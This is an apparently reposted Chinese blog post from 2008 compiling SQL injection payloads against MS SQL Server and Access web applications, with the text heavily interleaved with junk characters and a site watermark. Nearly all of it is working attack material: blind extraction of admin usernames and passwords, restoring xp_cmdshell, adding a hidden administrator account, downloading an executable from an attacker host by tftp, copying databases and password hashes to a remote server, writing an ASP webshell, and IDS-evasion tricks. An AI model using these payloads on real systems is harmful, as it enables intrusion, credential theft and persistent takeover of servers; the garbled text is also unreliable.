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SQL注入语句(大全)

上一篇 / 下一篇  2008-08-09 19:15:18 / 个人分类:数据库相关

1.判断有无注入点
Pd?/L)A9~7kV,L0; and 1=1 and 1=2
3C!e M#bN-q*d3AP!C02.猜表一般的表的名称无非是admin adminuser user pass password 等..
\hh DIY)z0and 0<>(select count(*) from *)51Testing软件测试网j3X W4FvmAn v
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
,AZ:v Y R_)u]@03.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
L4|0Sl)Rg?%S0and 0<(select count(*) from admin)51Testing软件测试网Q6]xT*a A/k
and 1<(select count(*) from admin)51Testing软件测试网&bs A5Ft;^l
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
$p\C gd0and 1=(select count(*) from admin where len(*)>0)--51Testing软件测试网Z \1kWv J+o8y-b8M
and 1=(select count(*) from admin where len(用户字段名称name)>0)51Testing软件测试网sP,jO!}2B
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)51Testing软件测试网+Fs'T M U
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
0_Z ?G8C0and 1=(select count(*) from admin where len(*)>0)
G"n3P^ X|f [0and 1=(select count(*) from admin where len(name)>6) 错误51Testing软件测试网'n4UzDZ
and 1=(select count(*) from admin where len(name)>5) 正确 长度是651Testing软件测试网4e$\(aH0{WK!z
and 1=(select count(*) from admin where len(name)=6) 正确51Testing软件测试网d![U/@w'CN`}
and 1=(select count(*) from admin where len(password)>11) 正确
2]N[s/`Tek8|g0and 1=(select count(*) from admin where len(password)>12) 错误 长度是1251Testing软件测试网$k9g4@S-KTB
and 1=(select count(*) from admin where len(password)=12) 正确
B;}#@dS0X]Y06.猜解字符51Testing软件测试网Ek l ?)x0[
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位51Testing软件测试网@s,IqgDY
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
zaO Fsk0就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
FB0Z8S6{-e0and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
b3S;Oc,e[1B0这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.51Testing软件测试网$qv Mkt N"N1z0S
group by users.id having 1=1--51Testing软件测试网(rYpt:g!l r
group by users.id, users.username, users.password, users.privs having 1=1--51Testing软件测试网{P;gk4G$ab$T _`4t5?
; insert into users values( 666, attacker, foobar, 0xffff )--
#SR%[B+[6G0UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
%P:GnOZ%WD(_;e0UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-51Testing软件测试网@#tN\/xKN
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-51Testing软件测试网y:O4@DIm3FE6[
UNION SELECT TOP 1 login_blank>_name FROM logintable-51Testing软件测试网z.V#BH@ kO
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--51Testing软件测试网h-CO f2g9g OU
看_blank>服务器打的补丁=出错了打了SP4补丁
i*Ut#GK4u+Zp0and 1=(select @@VERSION)--
I I7k1ek0看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。51Testing软件测试网{5tSnH6Y
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
*i+] v)~-dwV0判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
%Gr"y&g6hM0and sa=(SELECT System_blank>_user)--51Testing软件测试网O SpyJ
and user_blank>_name()=dbo--51Testing软件测试网nleR4I;eHdEa P.N
and 0<>(select user_blank>_name()--51Testing软件测试网 R%O+nW$Li1ef+O,g
看xp_blank>_cmdshell是否删除
#`x7}An n,o,] [1z0and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
O&j[LNM.E Z+]k7R0xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复51Testing软件测试网/lhQI:ZlIR D
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
$` KT^._A a"^1Z R0;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
"^7ks a Jg,Ek;ag*D0反向PING自己实验51Testing软件测试网I9J;DEV!T
;use master;declare @s int;exec sp_blank>_oacreate "wscrīpt.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
U xtPl c;sA0加帐号
;f)U1A ~#L`,OVOy v"r0;DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
m4C4OLo~'I0创建一个虚拟目录E盘:
/c GwbeG x0;declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscrīpt.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e:\"--
;LI/? db!Q"S9k@8Z/a0访问属性:(配合写入一个webshell)
0L+?7q,B9dqw0declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscrīpt.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
8F-s'_3ON3KC&y0爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
COP9o@Bq\+HU0and 0<>(select top 1 paths from newtable)--51Testing软件测试网?\A*?N2rUI n$J
得到库名(从1到5都是系统的id,6以上才可以判断)51Testing软件测试网] |!t'M/J5n9u0Ua
and 1=(select name from master.dbo.sysdatabases where dbid=7)--51Testing软件测试网#p9Hy*xh$y
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
4P6rdV x}X0依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
F(y6I7N9u&z0and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
6e:P:MsBMU D;n[0and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。51Testing软件测试网(uw0u}Tw%L9R
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
6tSQ%s#UBS3^*T0and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id51Testing软件测试网vnWm6dI:Vu.p
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id51Testing软件测试网Zk.|Q2JX6ro'G
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
w(Ld`;C!v-SF {0(id,...)) 来暴出其他的字段51Testing软件测试网N3z;Z(O$qN@]p
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名51Testing软件测试网1R g`mBl
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
9?.}0j lB2nN'R0and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)51Testing软件测试网"]2VQ5SCl c(@*U0cE
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
[1au;~fj;x0and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
7[0n^ Sl2q,Ga7]0and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
j*mI~'sRq7{0and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
&B"E:]:h(~|l(p0?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin51Testing软件测试网SM,FvX A:bi R-B
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)51Testing软件测试网 G'V8]X#{
得到WEB路径
{9} `:CT0;create table [dbo].[swap] ([swappass][char](255));--
0C7P"t[4x0and (select top 1 swappass from swap)=1--51Testing软件测试网 { r]ndgiE
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,values=@testOUTPUT insert into paths(path) values(@test)--51Testing软件测试网H%e t(Z ^^o
;use ku1;--51Testing软件测试网 t0G APcJ+lk\*I)k B DP
;create table cmd (str image);-- 建立image类型的表cmd
+R*Oe(oG DRx_0存在xp_blank>_cmdshell的测试过程:51Testing软件测试网1A`)U;T xXy |ND
;exec master..xp_blank>_cmdshell dir
~:h+L'N2v,O0;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号51Testing软件测试网#B*q ]6fsp/td
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
G~k l*LW8VToHp.R0;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--51Testing软件测试网j:~ H X9K
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--51Testing软件测试网#yAv#g&Vr.Nc?)l,_
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
;?2sh*KEHk0iv3f0exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
k0g;y U*? B0exec master..xp_blank>_servicecontrol start, server51Testing软件测试网"IB7_wrQ
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
dW5u.Xx |1M#j/_0;DECLARE @shell INT EXEC SP_blank>_OACREATE wscrīpt.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add51Testing软件测试网 J%X Si XC$Nv(u
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件51Testing软件测试网sPx6\@E9EG
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\51Testing软件测试网 |I1ZPOwD ]
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
#i h o)x M0;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat51Testing软件测试网7U2G0}NB`[,a
如果被限制则可以。51Testing软件测试网 w5I \L4P:t2Ka
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)51Testing软件测试网J]-CNS1f;j5u
查询构造:51Testing软件测试网c-r| \GIx
SELECT * FROM news WHERE id=... AND topic=... AND .....51Testing软件测试网j&C&@+Hl$f
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>51Testing软件测试网*QV@'H8ks
select 123;--
Z Uo JOZ4IF0use master;--
!lZs#e0Kb X6Dl0:a or name like fff%;-- 显示有一个叫ffff的用户哈。51Testing软件测试网8P(O||*A:l"W;W
and 1<>(select count(email) from [user]);--51Testing软件测试网u6b4_v J TT2Kp
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--51Testing软件测试网 Sb9a~!Pj
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
a'W"q x?~z,vtr0;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
Gd#gy)yz [0;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
n+s)owok6Y,g K0;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--51Testing软件测试网)r/x+x:Sy#^
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
,T]7Cn&P[4\LmAM0上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
~D5RH I0通过查看ffff的用户资料可得第一个用表叫ad
O6X2}9d"\vr:|0然后根据表名ad得到这个表的ID 得到第二个表的名字
-n%g A l:E#Bfkv0insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--51Testing软件测试网c8?\8y!E.f1D
insert into users values( 667,123,123,0xffff)--51Testing软件测试网a-Yh/Dd$[O*~B+vs
insert into users values ( 123, admin--, password, 0xffff)--
Ws8U5E"B7JI@+V{$R1o R0;and user>0
/go@"Y\z z0;and (select count(*) from sysobjects)>051Testing软件测试网"Kac5d iv8_DW(D8B'uo
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
.z Wa#xc-mP.L0枚举出数据表名51Testing软件测试网D1}mg~9nf
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
C/EE-J2@)W)Q9qG0这是将第一个表名更新到aaa的字段处。51Testing软件测试网I5\6s%gWPelHV
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。51Testing软件测试网 Sb8g#OK"p"P5pwi5^
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--51Testing软件测试网)v]:W9{m~d f}6t
然后id=1552 and exists(select * from aaa where aaa>5)
+} ]&py?6~"My0读出第二个表,一个个的读出,直到没有为止。
"o3kKl/q#r8h:t3D V0读字段是这样:
1L9F'{*aXr:bM0;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--51Testing软件测试网6h$?;q~M P
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
$iTo2o t)vfDp l.n0;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
#@'PWc-nw.j F0然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名51Testing软件测试网_t%s-H&^6h8Y,}hZ
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]51Testing软件测试网ysf;Ea%sQ)G,w'H
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)51Testing软件测试网D/JvU:UlG K;C
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
S4P}V:sx a UO6j0[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]51Testing软件测试网cRlFzF'|q3g8\
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
c|Th:oL3Bp:~8g1g0绕过IDS的检测[使用变量]
1Me7rLG7hB*W;qp0;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
ix!SxB G}0;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\51Testing软件测试网5a#DR NsATW
1、 开启远程_blank>数据库
IhJa!K{\Y0基本语法51Testing软件测试网e-`a_N0L
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )51Testing软件测试网JU&XPCh'M)qK
参数: (1) OLEDB Provider name
?[G1c4M02、 其中连接字符串参数可以是任何端口用来连接,比如
u?*}H"L;c,H0select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table51Testing软件测试网h D4m5J3{\#n+~O9D
3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。51Testing软件测试网SP3`kXe;oZ
基本语法:
P6w2oZ)jx+J G9Y0insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table251Testing软件测试网}.{Y5|,ai9T qU
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:51Testing软件测试网\$R giow(e8r%x%Z,N
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
V5Q&S[V/@.k9L3|~0insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)51Testing软件测试网N(t fT x S+P
select * from master.dbo.sysdatabases
f2@ ]!Z4v6l0insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
-BHH8u r-g j0select * from user_blank>_database.dbo.sysobjects51Testing软件测试网fH%BC1T1sBv }s
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
U9~q{%c.n9ha0select * from user_blank>_database.dbo.syscolumns
'XFG6dLgbTQ}0复制_blank>数据库:
-t!kZ6p4n*b7Sq)hGD(X0insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table151Testing软件测试网 u0v [P;L_+}
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table251Testing软件测试网;_+zW E `0e/i9gv
复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:51Testing软件测试网-c"XP.rC A
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins51Testing软件测试网u:Q,M6K2M.nY0z]1H1F
得到hash之后,就可以进行暴力破解。51Testing软件测试网k5\0RiLQG2lx
遍历目录的方法: 先创建一个临时表:temp51Testing软件测试网+hp\U$~V @u4~ a$r
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--51Testing软件测试网2N E[S`-l,m
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器51Testing软件测试网"l XdRTvZ1u
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表51Testing软件测试网.DUWtQ7CJ9I BU
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中51Testing软件测试网D@6L#AVR!C$DQZ
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容51Testing软件测试网/{n"Z:M p8L
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--51Testing软件测试网pE0d[mY5s3a+T,MT
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
m&n!P3`M4Fm0;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrīpt C:\Inetpub\Adminscrīpts\adsutil.vbs enum w3svc
io ?!Wx:g0;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
4fv5M(W-I i{?0写入表:51Testing软件测试网BL9C Q-j;J
语句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--51Testing软件测试网3m/O Tz'UZk};{
语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--51Testing软件测试网q7q!Qm^]
语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--51Testing软件测试网j^gE/D,|p |RF`
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
k~tv(@0语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
/t3fIky_0语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
V;p JzW1YoNN-F0语句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--51Testing软件测试网U9U)pD{hq
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--51Testing软件测试网Mcx!g NEP
语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
bh*H1ft3DHs0把路径写到表中去:
I;FD1n ~K0;create table dirs(paths varchar(100), id int)--51Testing软件测试网 p+m!c~o:BU4t9G
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
u)az1Cp!x%C&X/D0and 0<>(select top 1 paths from dirs)--
_ Je6D0@:^:W2S#\'Y,Q0and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
5CQ^h`D0W u0;create table dirs1(paths varchar(100), id int)--
-h_?7D;_0;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
2@uIs5c)Q0and 0<>(select top 1 paths from dirs1)--51Testing软件测试网9^c?3@4h*Sg4O ` Z3R
把_blank>数据库备份到网页目录:下载
"]Nc$N;nm$JO)D051Testing软件测试网@ gqd1q ^/{

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
rs i3EFG+Y f0and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)51Testing软件测试网*M7X:o Y"k;x#~'Gg+`
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。51Testing软件测试网5LS.@)cD0VL8];~
and 1=(select user_blank>_id from USER_blank>_LOGIN)51Testing软件测试网,o]y l*`} \
and 0=(select user from USER_blank>_LOGIN where user>1)
p]zbg9Gw0-=- wscrīpt.shell example -=-51Testing软件测试网2J,V6[cG q|iK
declare @o int51Testing软件测试网 TjvMT7LlHt
exec sp_blank>_oacreate wscrīpt.shell, @o out51Testing软件测试网pW"zvX8C
exec sp_blank>_oamethod @o, run, NULL, notepad.exe51Testing软件测试网 _m+W)g!zP
; declare @o int exec sp_blank>_oacreate wscrīpt.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
I8Tw@+X,r/]A ]+V W0declare @o int, @f int, @t int, @ret int51Testing软件测试网tcW"Um2L U
declare @line varchar(8000)
Ev$jv ?:e+a;H0exec sp_blank>_oacreate scrīpting.filesystemobject, @o out
FL9hx3F0exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
$a&_ }-k!].~I z0exec @ret = sp_blank>_oamethod @f, readline, @line out
N8o;jv z/G0while( @ret = 0 )51Testing软件测试网 ]6v f5?I Kx2G0j
begin
w8hent#[0print @line51Testing软件测试网ft/n_kh
exec @ret = sp_blank>_oamethod @f, readline, @line out
[/gBk9d!q2L@ V0end51Testing软件测试网Mj/PAs)` ? J)n
declare @o int, @f int, @t int, @ret int51Testing软件测试网6y9C)^e6VtI-fL
exec sp_blank>_oacreate scrīpting.filesystemobject, @o out
2y _LbX'V0exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 151Testing软件测试网'b;jb!UN Uj${p-EK2h
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
g$]T&@:X0<% set o = server.createobject("wscrīpt.shell"): o.run( request.querystring("cmd") ) %>51Testing软件测试网%T(?b'j?8S| m@
declare @o int, @ret int
C!I]f*M t0exec sp_blank>_oacreate speech.voicetext, @o out
W:p;DuG8]"~t0exec sp_blank>_oamethod @o, register, NULL, foo, bar51Testing软件测试网/H C*La^E]A
exec sp_blank>_oasetproperty @o, speed, 150
#vhn1HDX~ j@&x0exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
!xnm7\ ZNRH/nO0waitfor delay 00:00:0551Testing软件测试网;kl:a J.t/K
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
3Q \)e'_(U G#E_0xp_blank>_dirtree适用权限PUBLIC51Testing软件测试网'ttzI.t?LOO"tD
exec master.dbo.xp_blank>_dirtree c:\51Testing软件测试网~u KP&z,| A
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
rOPw ?w9l0create table dirs(paths varchar(100), id int)51Testing软件测试网3[.z)pT:GT E
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。51Testing软件测试网 ~2m)F7H a~}
insert dirs exec master.dbo.xp_blank>_dirtree c:\51Testing软件测试网;g,o%J4Y_ ee
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!51Testing软件测试网#IXu5Dc


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